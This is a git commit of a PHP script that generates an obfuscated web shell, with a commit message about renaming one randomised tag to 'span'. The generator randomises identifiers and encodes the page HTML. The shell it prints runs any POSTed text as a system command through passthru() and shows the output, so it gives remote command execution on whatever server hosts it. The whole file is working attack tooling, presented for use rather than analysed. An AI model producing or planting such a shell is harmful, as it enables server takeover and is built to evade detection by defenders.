<commit_before><?php
//; exit 1      # in case you did ./rand.php

// are we running from a webserver or terminal?
if ( ! isset($_SERVER['TERM'])){
    header('Content-Type: text/plain');
}

function make_random_name(){
    // making some randomness
    $name = rand() * rand();
    $name = hash("whirlpool", $name);
    $name = crypt($name, rand());

    // shorten, rm leading numbers
    $name = preg_replace('~([\.\$/]|.{16}$)~', '', $name);
    $name = preg_replace('/^[0-9]+/', '', $name);

    // make sure the regex didn't leave us an empty string
    return ($name = NULL? make_random_name(): $name);
}

$eval_function    = make_random_name();
$eval_arg         = make_random_name();
$html_console_tag = make_random_name();
$post_param       = make_random_name();
$post_command     = make_random_name();
$script_name      = make_random_name();
$page_html_var    = make_random_name();

$page_html = <<< EOF
<html>
    <head>
        <style>
            input{ background-color: rgb(255, 255, 255); width: 100%;}
            * { font-size: 12px; color: rgb(0, 0, 0); font-family: monospace !important;}
            body{ background-color: rgb(250, 250, 250);}
            $html_console_tag{ color: rgb(170, 170, 170);}
        </style>
    </head>
    <body>
        <form action="$script_name" id="form" method="POST">
            <input type="text" name="$post_param" autocomplete="off" autofocus>
            <button type="submit">&#x7E;&#x20;&#x66;&#x55;&#x71;&#x31;&#x4E;&#x20;&#x68;&#x34;&#x51;&#x20;&#x74;&#x68;&#x31;&#x7A;&#x5A;&#x5A;&#x7A;&#x20;&#x62;&#x28;&#x29;&#x78;&#x20;&#x7E;</button>
        </form>
    <code>
<pre>
EOF;

$page_html = base64_encode(gzdeflate($page_html));


$shell = <<< EOF
<?php

\$$page_html_var = gzinflate(base64_decode("$page_html"));

function $eval_function(\$$eval_arg){
    echo "<$html_console_tag>\$ ".\$$eval_arg."</$html_console_tag><br>";
    echo htmlentities(passthru(\$$eval_arg." 2>&1"));
}
echo preg_replace("/$script_name/", basename(\$_SERVER["SCRIPT_NAME"]), \$$page_html_var);

if (isset(\$_POST["$post_param"])){
    $eval_function(\$_POST["$post_param"]);
}
else {
    $eval_function("#");
}
__halt_compiler/*
*/();
EOF;

echo $shell;

?><commit_msg>unobfusting 'html_console_tag' it's a relic from a long time ago and is no longer necessary<commit_after><?php
//; exit 1      # in case you did ./rand.php

// are we running from a webserver or terminal?
if ( ! isset($_SERVER['TERM'])){
    header('Content-Type: text/plain');
}

function make_random_name(){
    // making some randomness
    $name = rand() * rand();
    $name = hash("whirlpool", $name);
    $name = crypt($name, rand());

    // shorten, rm leading numbers
    $name = preg_replace('~([\.\$/]|.{16}$)~', '', $name);
    $name = preg_replace('/^[0-9]+/', '', $name);

    // make sure the regex didn't leave us an empty string
    return ($name = NULL? make_random_name(): $name);
}

$eval_function    = make_random_name();
$eval_arg         = make_random_name();
$html_console_tag = make_random_name();
$post_param       = make_random_name();
$post_command     = make_random_name();
$script_name      = make_random_name();
$page_html_var    = make_random_name();

$page_html = <<< EOF
<html>
    <head>
        <style>
            input{ background-color: rgb(255, 255, 255); width: 100%;}
            * { font-size: 12px; color: rgb(0, 0, 0); font-family: monospace !important;}
            body{ background-color: rgb(250, 250, 250);}
            span{ color: rgb(170, 170, 170);}
        </style>
    </head>
    <body>
        <form action="$script_name" id="form" method="POST">
            <input type="text" name="$post_param" autocomplete="off" autofocus>
            <button type="submit">&#x7E;&#x20;&#x66;&#x55;&#x71;&#x31;&#x4E;&#x20;&#x68;&#x34;&#x51;&#x20;&#x74;&#x68;&#x31;&#x7A;&#x5A;&#x5A;&#x7A;&#x20;&#x62;&#x28;&#x29;&#x78;&#x20;&#x7E;</button>
        </form>
    <code>
<pre>
EOF;

$page_html = base64_encode(gzdeflate($page_html));


$shell = <<< EOF
<?php
\$$page_html_var = gzinflate(base64_decode("$page_html"));

function $eval_function(\$$eval_arg){
    echo "<span>\$ ".\$$eval_arg."</span><br>";
    echo htmlentities(passthru(\$$eval_arg." 2>&1"));
}
echo preg_replace("/$script_name/", basename(\$_SERVER["SCRIPT_NAME"]), \$$page_html_var);

if (isset(\$_POST["$post_param"])){
    $eval_function(\$_POST["$post_param"]);
}
else {
    $eval_function("#");
}
__halt_compiler/*
*/();
EOF;

echo $shell;

?>
{'fraction_non_alphanumeric': 0.21601073345259392, 'fraction_numerical': 0.040697674418604654, 'mean_word_length': 3.7788461538461537, 'pattern_counts': {'":': 0, '<': 51, '<?xml version=': 0, '>': 39, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '268421', 'n_tokens_mistral': 1798, 'n_tokens_neox': 1611, 'n_words': 314}